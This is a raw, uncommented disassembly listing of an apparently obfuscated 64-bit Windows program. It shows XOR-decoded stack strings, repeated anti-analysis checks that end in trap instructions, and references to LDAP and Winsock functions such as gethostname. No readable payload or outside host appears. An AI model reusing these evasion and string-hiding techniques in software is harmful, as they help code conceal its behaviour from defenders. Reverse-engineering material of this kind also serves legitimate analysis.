mov byte [rbp + 0xa10], 0xbf
mov byte [rbp + 0xa11], 0xcc
mov byte [rbp + 0xa12], 0x9e
mov byte [rbp + 0xa13], 0xa8
xor eax, eax
mov byte [rbp + 0xa14], al
mov r8, rbx
movabs r9, 0x2eee596140
lea r10d, [rax + 0x2c]
movabs r11, 0x8080808080808081
movabs r12, 0x1110daaf0
movabs r13, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x9e8]
xor dil, r8b
mov byte [rbp + r8 + 0x9e8], dil
add r8, r15
add r9, r12
add r10, 0x2c
movabs rax, 0x5ddcb2c280
cmp r9, rax
jb 0x140057594
mov byte [rbp + 0xa14], bl
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp + 0xfd0]
call fcn.1400039f8
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
movabs r12, 0x6665201a0
movabs r13, 0xccca40340
jne 0x140057761
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140057654
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov r11d, 0xdeadbeef
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057756
add edi, r15d
cmp edi, 7
jl 0x1400576eb
jmp 0x140057767
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x14005788e
mov rdi, rbx
mov r8d, r14d
movabs r9, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400577c4
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r9
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140057789
mov rax, rdi
xor rax, rdi
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r11
xor rcx, rax
mov r9d, 0x930f525f
xor rcx, r9
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057ef2
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140057828
lea rcx, [rbp + 0x800]
call fcn.1400536f0
mov rdi, rax
lea rcx, [rsp + 0x70]
call fcn.140003b08
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xff0]
call fcn.140069f4c
lea rcx, [rbp + 0x800]
call fcn.140069e88
lea rcx, [rbp + 0x800]
call fcn.140004028
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
mov r11d, 0x2aaaaaab
cmp rax, r10
jne 0x140057a40
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r12d, 0x930f525f
mov r13d, 0xfeefbfff
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r15d
cmp r9d, 8
jl 0x14005790f
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057efd
add edi, r15d
cmp edi, 5
jl 0x1400579e0
mov rax, qword gs:[0x3f]
cmp rax, r10
jne 0x140057b98
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r12d, 0x930f525f
mov r13d, 0xfeefbfff
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r10
shl rax, cl
or rdx, rax
xor r8, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r8
and rax, r13
xor rcx, rax
add rdi, rcx
add r9d, r15d
cmp r9d, 8
jl 0x140057a67
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r12, 0x6665201a0
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r11d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x140057f08
add edi, r15d
cmp edi, 5
jl 0x140057b38
mov byte [rbp - 0x30], 0xaf
mov byte [rbp - 0x2f], 0xcd
mov byte [rbp - 0x2e], 0xa3
mov byte [rbp - 0x2d], 0xff
mov byte [rbp - 0x2c], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp - 0x2b], reloc.WLDAP32.dll_Ordinal_26
xor eax, eax
mov byte [rbp - 0x2a], al
mov r8, rbx
mov r9, r12
lea r11d, [rax + 6]
mov r10d, r11d
movabs rsi, 0x8080808080808081
movabs rbx, 0x1110daaef
movabs r12, 0x1110daaf0
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x30]
xor dil, r8b
mov byte [rbp + r8 - 0x30], dil
add r8, r15
add r9, r12
add r10, r11
cmp r9, r13
jb 0x140057be0
xor ebx, ebx
mov byte [rbp - 0x2a], bl
mov byte [rbp - 0x28], 0xb6
mov byte [rbp - 0x27], 0xdf
mov byte [rbp - 0x26], 0xa3
mov byte [rbp - 0x25], 0xff
mov byte [rbp - 0x24], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp - 0x23], reloc.WLDAP32.dll_Ordinal_26
xor eax, eax
mov byte [rbp - 0x22], al
mov r8d, ebx
mov r9, r11
mov r12, qword [rsp + 0x60]
mov esi, 0xfd6ccd6d
movabs rbx, 0x1110daaf0
movabs r10, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdi, 0x1110daaef
shr rdi, cl
mov rax, r10
mul r12
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r12
sub rcx, rax
xor dil, cl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x28], dil
add r8, r15
add r12, rbx
add r9, r11
cmp r12, r13
jb 0x140057c84
xor ebx, ebx
mov byte [rbp - 0x22], bl
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x820]
call fcn.14006a254
lea rdx, [rbp + 0xff0]
mov rcx, rax
call fcn.1400697bc
mov rdx, rax
lea rcx, [rbp + 0x840]
call fcn.140069910
lea rcx, [rbp - 0x30]
call fcn.140003b60
mov rcx, rax
call fcn.140003b08
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x840]
call fcn.140069738
mov rdx, rax
lea rcx, [rbp + 0x860]
call fcn.140069910
lea rdx, [0x140135790]
lea rcx, [rbp + 0x860]
call fcn.1400697bc
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140069910
lea rcx, [rbp + 0x860]
call fcn.140069e88
lea rcx, [rbp + 0x860]
call fcn.140004028
lea rcx, [rbp + 0x840]
call fcn.140069e88
lea rcx, [rbp + 0x840]
call fcn.140004028
lea rcx, [rbp + 0x820]
call fcn.140069e88
lea rcx, [rbp + 0x820]
call fcn.140004028
mov rax, qword gs:[0x3f]
mov r12d, 0x7dfe5890
mov r9d, 0x2aaaaaab
cmp rax, r12
jne 0x140057f1e
mov edi, ebx
mov r8d, r14d
movabs rsi, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140057e21
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140057de8
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
mov r10d, 0x930f525f
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
mov esi, 0xfd6ccd6d
lea ecx, [rdi + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140057f13
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140057e90
jmp 0x140057f24
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140058047
mov rdi, rbx
mov r8d, r14d
movabs r10, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140057f7f
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140057f46
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r11
xor rcx, rax
mov r10d, 0x930f525f
xor rcx, r10
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400581b1
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140057fe3
lea rcx, [rbp + 0xff0]
call fcn.140069688
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400d9970
mov rax, qword gs:[0x3f]
mov r10d, 0x930f525f
cmp rax, r12
jne 0x1400581c7
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r13d, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r10
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140058088
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r12
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400581bc
add edi, r15d
cmp edi, 5
jl 0x140058151
jmp 0x1400581cd
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x1400582d8
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x1400581eb
xor rdi, r10
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005842b
add edi, r15d
cmp edi, 7
jl 0x140058276
mov dl, byte [rsp + 0x70]
lea rcx, [rbp + 0x1030]
call fcn.140003ab0
lea rcx, [rbp + 0x1030]
call fcn.140069f24
nop
mov rax, qword gs:[0x3f]
mov r10d, 0x2aaaaaab
cmp rax, r12
jne 0x140058441
mov rdi, rbx
mov r8d, r14d
movabs r13, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140058356
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14005831d
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov r11d, 0x930f525f
xor rcx, r11
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058436
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x1400583c9
jmp 0x140058447
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140058592
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r13d, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r11
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140058468
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058e0b
add edi, r15d
cmp edi, 5
jl 0x140058532
lea rcx, [rbp + 0x1010]
call fcn.140069688
mov rdx, rax
lea rcx, [rbp + 0x880]
call fcn.1400039f8
mov rcx, rax
xor r8d, r8d
lea rdx, [rbp + 0x1030]
call fcn.14005250c
mov r11d, eax
mov dword [rsp + 0x68], eax
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x1400586dc
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x1400585e4
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058e16
add edi, r15d
cmp edi, 7
jl 0x14005867a
test r11d, r11d
je 0x14005895c
movdqa xmm0, xmmword [0x1401234b0]
movdqu xmmword [rbp + 0x6e0], xmm0
mov byte [rbp + 0x6f0], __WSAFDIsSet
mov byte [rbp + 0x6f1], 0x9c
mov byte [rbp + 0x6f2], 0xff
mov byte [rbp + 0x6f3], 0x86
mov byte [rbp + 0x6f4], 0xa4
mov byte [rbp + 0x6f5], Ordinal_200
mov byte [rbp + 0x6f6], WSASetLastError
mov byte [rbp + 0x6f7], Ordinal_46
mov eax, 3
mov byte [rbp + 0x6f8], al
xor eax, eax
mov byte [rbp + 0x6f9], al
mov r8, rbx
movabs rsi, 0x1110daaf0
movabs r9, 0x1aaa55b170
lea r10d, [rax + 0x19]
movabs r13, 0x8080808080808081
movabs r11, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r11
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x6e0]
xor dil, r8b
mov byte [rbp + r8 + 0x6e0], dil
add r8, r15
add r9, rsi
add r10, 0x19
movabs rax, 0x3554ab62e0
cmp r9, rax
jb 0x14005876f
mov byte [rbp + 0x6f9], bl
mov r8d, r15d
mov edx, dword [rsp + 0x68]
lea rcx, [rbp + 0x6e0]
call fcn.140051d44
mov rax, qword gs:[0x3f]
cmp rax, r12
mov esi, 0xfd6ccd6d
movabs r13, 0xccca40340
jne 0x14005895c
mov r9d, esi
mov rdi, rbx
mov r8d, ebx
mov esi, 0xfeefbfff
mov r10d, 0x2aaaaaab
mov r13d, 0x930f525f
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r13
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140058832
mov rcx, rdi
xor rcx, r9
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xccca40340
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058e21
add edi, r15d
cmp edi, 5
jl 0x1400588fc
mov byte [rbp + 0x270], WSASetLastError
mov byte [rbp + 0x271], 0x86
mov byte [rbp + 0x272], Ordinal_79
mov byte [rbp + 0x273], __WSAFDIsSet
mov byte [rbp + 0x274], 0xde
mov byte [rbp + 0x275], 0x62
mov byte [rbp + 0x276], gethostname
mov byte [rbp + 0x277], 0xe3
mov byte [rbp + 0x278], Ordinal_79
mov byte [rbp + 0x279], 0xc1
